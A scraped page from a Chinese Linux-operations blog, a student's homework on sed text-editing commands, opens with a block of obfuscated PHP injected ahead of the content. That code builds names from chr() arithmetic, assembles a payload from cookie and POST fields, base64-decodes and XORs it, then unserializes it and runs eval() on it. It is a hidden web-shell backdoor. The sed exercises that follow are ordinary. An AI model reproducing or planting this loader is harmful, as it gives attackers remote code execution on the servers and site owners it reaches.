$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 8.9作业 | Linux运维部落

8.9作业

删除/etc/grub2.conf文件中所有以空白开头的行,行首的空白字符

[root@English6 ~]# sed "s@^[[:space:]]\+@@" /etc/grub.conf 
# grub.conf generated by anaconda
#
# Note that you do not have to rerun grub after making changes to this file
# NOTICE:  You have a /boot partition.  This means that
#          all kernel and initrd paths are relative to /boot/, eg.
#          root (hd0,0)
#          kernel /vmlinuz-version ro root=/dev/sda2
#          initrd /initrd-[generic-]version.img
#boot=/dev/sda
default=0
timeout=5
splashimage=(hd0,0)/grub/splash.xpm.gz
hiddenmenu
title CentOS 6 (2.6.32-642.el6.x86_64)
root (hd0,0)
kernel /vmlinuz-2.6.32-642.el6.x86_64 ro root=UUID=33bb1eff-ce5c-4fd8-954e-191c7fb12e6d rd_NO_LUKS rd_NO_LVM.UTF-8 rd_NO_MD SYSFONT=latarcyrheb-sun16 crashkernel=auto  KEYBOARDTYPE=pc KEYTABLE=us rd_NO_DM rhgb quiet
initrd /initramfs-2.6.32-642.el6.x86_64.img


删除/etc/fstab文件中所有以#开头,后面至少跟一个空白字符的行,的行首的#和空白字符

[root@localhost wang]# sed -n "s@^#[[:space:]]\+@@p" /etc/fstab 
/etc/fstab
Created by anaconda on Tue Aug  9 05:48:51 2016
Accessible filesystems, by reference, are maintained under '/dev/disk'
See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info


在/root/install.log没一行行首增加#号

[root@English6 ~]# sed  "s@^@#@" /root//install.log
#Installing ql2400-firmware-7.03.00-1.el6_5.noarch
#Installing iwl5000-firmware-8.83.5.1_1-1.el6_1.1.noarch
#Installing ql2100-firmware-1.19.38-3.1.el6.noarch
#Installing ivtv-firmware-20080701-20.2.noarch
#Installing libertas-usb8388-firmware-5.110.22.p23-3.1.el6.noarch
#Installing xorg-x11-drv-ati-firmware-7.6.1-2.el6.noarch
#Installing ql2500-firmware-7.03.00-1.el6_5.noarch
#Installing atmel-firmware-1.3-7.el6.noarch
#Installing zd1211-firmware-1.4-4.el6.noarch
#Installing iwl4965-firmware-228.61.2.24-2.1.el6.noarch
#Installing rt61pci-firmware-1.2-7.el6.noarch
#Installing iwl3945-firmware-15.32.2.9-4.el6.noarch
#Installing ql2200-firmware-2.02.08-3.1.el6.noarch
#Installing rt73usb-firmware-1.8-7.el6.noarch
#Installing ipw2100-firmware-1.3-11.el6.noarch
#Installing ql23xx-firmware-3.03.27-3.1.el6.noarch
#Installing ipw2200-firmware-3.1-4.el6.noarch
#Installing rootfiles-8.1-6.1.el6.noarch
#Installing man-pages-3.22-20.el6.noarch
...

在/etc/fstab文件中不以#开头的行的行首增加#号

[root@English6 ~]# sed "s@^[^#]@#&@" /etc/fstab 

#
# /etc/fstab
# Created by anaconda on Thu Jul 21 16:53:41 2016
#
# Accessible filesystems, by reference, are maintained under '/dev/disk'
# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info
#
#UUID=33bb1eff-ce5c-4fd8-954e-191c7fb12e6d /                       ext4    defaults        1 1
#UUID=47c3f22b-7ed9-4ce1-b341-2d95ff6555af /boot                   ext4    defaults        1 2
#UUID=c9eeb128-84ac-402c-bf90-91ef5f355355 /testdir                ext4    defaults        1 2
#UUID=68b451f6-71ee-4631-a98c-c0a201df6009 swap                    swap    defaults        0 0
#tmpfs                   /dev/shm                tmpfs   defaults        0 0
#devpts                  /dev/pts                devpts  gid=5,mode=620  0 0
#sysfs                   /sys                    sysfs   defaults        0 0
#proc                    /proc                   proc    defaults        0 0


在/etc/fstab路径,使用sed命令取出其目录名的基名

[root@English6 ~]# echo "/etc/fstab" | sed "s@.*\<@@"
fstab
[root@English6 ~]# echo "/etc/fstab/" | sed "s@.*\<@@"
fstab/


利用sed取出ifconfig命令中本机的ipv4地址

[root@localhost wang]# ip addr |sed -n '9p'|sed "s@.*inet@@"|sed "s@/.*@@"
 192.168.1.114


统计centos安装关盘中package目录下的rpm文件的以.分隔倒数第二字段的重复次数

[root@localhost boot]# ls /boot/Packages/ | sed "s@\.rpm@@"|sed "s@.*\.@@"|sort|uniq -c
   2000 i686
   2938 noarch
      1 TBL
   4069 x86_64

复制/etc/profile至/tmp/目录,用查找替换命令删除/tmp/profile文件中的行首的空白字符

[root@localhost wang]# cp /etc/profile /wang
[root@localhost wang]# sed  "s@^[[:space:]]*@@" profile 
# /etc/profile

# System wide environment and startup programs, for login setup
# Functions and aliases go in /etc/bashrc

# It's NOT a good idea to change this file unless you know what you
# are doing. It's much better to create a custom.sh shell script in
# /etc/profile.d/ to make custom changes to your environment, as this
# will prevent the need for merging in future updates.

pathmunge () {
case ":${PATH}:" in
*:"$1":*)
;;
*)
if [ "$2" = "after" ] ; then
PATH=$PATH:$1
else
PATH=$1:$PATH
fi
esac
}


if [ -x /usr/bin/id ]; then
if [ -z "$EUID" ]; then
# ksh workaround
EUID=`id -u`
UID=`id -ru`
fi
USER="`id -un`"
LOGNAME=$USER
MAIL="/var/spool/mail/$USER"
fi

# Path manipulation
if [ "$EUID" = "0" ]; then
pathmunge /usr/sbin
pathmunge /usr/local/sbin
else
pathmunge /usr/local/sbin after
pathmunge /usr/sbin after
fi

HOSTNAME=`/usr/bin/hostname 2>/dev/null`
HISTSIZE=1000
if [ "$HISTCONTROL" = "ignorespace" ] ; then
export HISTCONTROL=ignoreboth
else
export HISTCONTROL=ignoredups
fi

export PATH USER LOGNAME MAIL HOSTNAME HISTSIZE HISTCONTROL

# By default, we want umask to get set. This sets it for login shell
# Current threshold for system reserved uid/gids is 200
# You could check uidgid reservation validity in
# /usr/share/doc/setup-*/uidgid file
if [ $UID -gt 199 ] && [ "`id -gn`" = "`id -un`" ]; then
umask 002
else
umask 022
fi

for i in /etc/profile.d/*.sh ; do
if [ -r "$i" ]; then
if [ "${-#*i}" != "$-" ]; then 
. "$i"
else
. "$i" >/dev/null
fi
fi
done

unset i
unset -f pathmunge


复制/etc/rc.d/init.d/functions的每行开头为空白字符的行的行首添加一个#号

[root@localhost wang]# sed "s@^[[:space:]]*@#&@" functions 
## -*-Shell-script-*-
##
## functions	This file contains functions to be used by most or all
##		shell scripts in the /etc/init.d directory.
##
#
#TEXTDOMAIN=initscripts
#
## Make sure umask is sane
#umask 022
#
## Set up a default search path.
#PATH="/sbin:/usr/sbin:/bin:/usr/bin"
#export PATH
#
#if [ $PPID -ne 1 -a -z "$SYSTEMCTL_SKIP_REDIRECT" ] && \
#		( /bin/mountpoint -q /cgroup/systemd || /bin/mountpoint -q /sys/fs/cgroup/systemd ) ; then
#        case "$0" in
#        /etc/init.d/*|/etc/rc.d/init.d/*)
#		_use_systemctl=1
#		;;
#	esac
#fi
#
#systemctl_redirect () {
#	local s
#	local prog=${1##*/}
#        local command=$2
#        local options=""
#
#	case "$command" in
#	start)
#		s=$"Starting $prog (via systemctl): "
#		;;
#	stop)
#		s=$"Stopping $prog (via systemctl): "
#		;;
#	reload|try-reload)
#		s=$"Reloading $prog configuration (via systemctl): "
#		;;
#	restart|try-restart|condrestart)
#		s=$"Restarting $prog (via systemctl): "
#		;;
#	esac
#
#        if [ -n "$SYSTEMCTL_IGNORE_DEPENDENCIES" ] ; then
#                options="--ignore-dependencies"
#        fi
....

如何设置tab缩进为4个字符

set tabstop=4


复制/etc/rc.d/init.d/functions文件至/tmp目录,替换/tmp/functions文件中/etc/sysconfig/init为/var/log

 sed -i 's@/etc/sysconfig/init@/var/log@' /wang/functions 
[root@localhost wang]# grep "/etc/sysconfig/init" /wang/functions 
[root@localhost wang]# grep "/var/log" /wang/functions 
  if [ -f /var/log ]; then
      . /var/log
    # This all seem confusing? Look in /var/log,


删除/tmp/functions文件中所有以#开头,且#后面至少有一个空白字符的行的行首的#号

[root@localhost wang]# sed -i "s@^#\([[:space:]]\+\)@\1@" functions 
[root@localhost wang]# grep "^#" functions 
#
#

原创文章,作者:DYW,如若转载,请注明出处:http://www.178linux.com/32787

(0)
上一篇 2016-08-10 22:07
下一篇 2016-08-11 09:37

相关推荐

  • 强大的文本处理工具:vim编辑器

    一:引言 系统管理员的重要工作就是修改与设置某些软件的重要配置文件,而vim作为vi编辑器的升级版本,不仅能够以不同颜色来显示文字内容,还能够进行诸如shell脚本、C等程序的编写,所以,它还是一个程序编辑器,接下来,就让我们一起来看看vim的有哪些好玩的用法和特征。 二:vim三种模式及其常见用法 虽然vim有非常庞大甚至说它复杂也不为过的功能体系,但用结…

    2017-08-05
  • N_28 正则表达式的一些基本用法

    1、复制/etc/skel目录为/home/tuser1,要求/home/tuser1及其内部文件的属组和其它用户均没有任何访问权限。 ~]# cp -r /etc/skel /home/tuser1 ~]# chmod -R -g— -o— /home/tuser1 2、编辑/etc/group文件,添加组hadoop。 ~]#vi…

    Linux干货 2017-12-23
  • 如何安装VMware Workstation

    1、打开安装包,直接点击“下一步” 2、选择接受条款,单击“下一步” 3、选择安装路径,单击“下一步” 4、单击“下一步”,也可以勾选掉两个选项   5、单击“下一步”   6、点击“安装”   7、完成安装  

    2017-07-11
  • week6

    1、请详细总结vim编辑器的使用并完成以下练习题 1、复制/etc/rc.d/rc.sysinit文件至/tmp目录,将/tmp/rc.sysinit文件中的以至少一个空白 字符开头的行的行首加#; :%s@^[[:space:]]\+[^[:space:]]@#&@g 2、复制/boot/grub/grub.conf至/tmp目录中,删除/tmp/…

    Linux干货 2016-12-02
  • 记录Linux入门3天,每天的点点滴滴记录

        Linux 文件系统的特性:      1、文件名严格区分字符大小写      2、文件名可以使用除了 /  意外任意的字符,但不建议使用特殊字符      3、文件名长度不能超过255个字符     &nbsp…

    Linux干货 2017-05-21
  • bash变量和逻辑运行

    bash 特性及bash脚本编程初步       终端,附着在终端的接口程序:      GUI:KDE,GNome,Xfce      CLI: /etc/shells              b…

    Linux干货 2016-12-23